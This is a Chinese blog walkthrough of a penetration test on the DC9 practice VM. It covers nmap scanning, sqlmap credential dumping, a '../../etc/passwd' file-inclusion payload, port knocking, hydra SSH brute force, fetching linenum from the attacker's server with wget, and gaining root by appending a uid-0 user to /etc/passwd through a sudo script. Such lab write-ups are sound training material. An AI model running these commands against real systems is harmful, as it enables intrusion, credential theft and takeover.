记一次对DC9靶机完整的渗透测试

一、实验环境:

真实机:windows10  靶机:DC9    攻击机:kali

二、信息收集

在kali里面使用nmap工具,扫描存活的网段,以此来找到靶机IP。命令:nmap -sP x.x.x.0-254     

找到靶机IP,对靶机进行全面扫描,查看开放端口和服务信息。使用命令:nmap -A x.x.x.x

靶机开放了,80和22端口。先访问靶机IP,在真实机浏览器中打开地址,发现一个员工管理界面。查询指纹信息没有找到结果。前面通过对靶机的扫描知道靶机系统为Linux系统和apache的中间件。

靶机一共有四个菜单,分别查看,ALLRecords为所有员工信息,search为查询员工信息,Manage为登录界面。在search界面尝试使用命令执行漏洞,payload:1 | ifconfig    没有返回结果,继续尝试manage界面,尝试爆破管理员密码,这里也是跑了几万条数据没出来。emmm,回到search界面尝试sql注入,打开bp工具,给search值为1抓包,数据包复制到txt文件中,打开sqlmap去跑。

python3.exe sqlmap.py -r dc.txt

python3.exe sqlmap.py -r dc.txt -D -tables //查看当前数据库的所有表
python3.exe sqlmap.py -r dc.txt -D -T -columns //查看当前表里的字段
python3.exe sqlmap.py -r dc.txt -D -T -dump //获取所有字段的内容

第一个数据库没有有用信息,第二个数据库里有admin的密码,第三数据库里有一组用户和密码信息。

这里admin密码md5加密了,先解个密然后登录。 emmm登录进去就多了一个增加用户的功能,但对我们的帮助并不大

但页面底部有“file does not exist”说是文件不存在,猜测有文件包含漏洞,需要爆破一下参数名,因为是linux系统所以构造payload payload=x.x.x.x/welcom.php?fuzz=../../../../../etc/passwd      然后放到burpsuite里使用字典去测试,最后参数名为file

 然后看到底下用户有很多发现一个janitor用户,我们之前使用sqlmap跑出来过,于是尝试ssh登录。但是登录失败,目标也是开启了22端口,后来查找资料了解到有个叫做端口敲门服务的

什么是端口敲门服务,大佬的解释是这样的:端口敲门服务是用来增加安全性的,比如你干了一票回到家,你关闭房门也就是端口,不想让别人进来,如果你想和同伙商量事情,就提前确定好暗号,暗号正确就可以进。这就是端口敲门服务(knockd)

所以我们去用文件包含漏洞去读取knockd配置文件,文件目录在/etc/knockd.conf    

使用前需要在kali上下载该服务

apt-get install knockd

knock ip 口令

然后再尝试登录用户,因为这里用户比较多,可以使用hydra来去跑看看哪些用户可以登录。将用户和密码分别放到kali中然后使用命令:hydra -L user.txt -P passwd.txt ssh://ip      

 可以看到有三个用户可以正常登录,这里要记住用户名和密码的字典里不能有空格要不然会跑不出来。然后分别登录三个用户,发现janitor用户里面多了一个文件。

 里面给了组密码,因该是上面没跑出来用户名的,把密码复制到passwd文件中,继续跑,结果多出一个用户fredf

 然后登录进这个用户看看有啥特别。没啥特别的,那就提权把。我这里还是推荐工具linenum。

再kali中,开启http服务

python -m http,server 123

然后在靶机上使用wget命令下载下来linenum,给予linenum权限

wget http://ip:123/.linenum.sh

chmod 777 linenum.sh

.linenum.sh

 然后看到说可以不需要密码执行sudo,也就是在那个目录下有root执行权限。

我的思路是写一个反弹shell打开/bin/bash,然后whoami,这种结果不行,该目录下不能写入文件。

于是看看该目录下的文件有没有给信息。cat查看发现乱码,于是去查找父目录,使用find命令

find / -name test,py

find / -name test.py 2>/dev/null

出来两个路径,查看里面的文件。

内容大概就是先读取第一个文件的内容,然后追加给第二个文件。

可以先创建一个普通用户,给密码加盐,

perl -le 'print crypt("pass""pass")'

echo hacker:加盐的密码:0:0:root:/root:/bin/bash >>/tmp/hacker

输出到/tmp下

然后再去有root执行权的目录下执行命令:

sudo ./test /tmp/hacker /etc/passwd

这样上面添加的密码就会放到/etc/passwd,从而就有了root权限。

 

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

我像一条狗

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值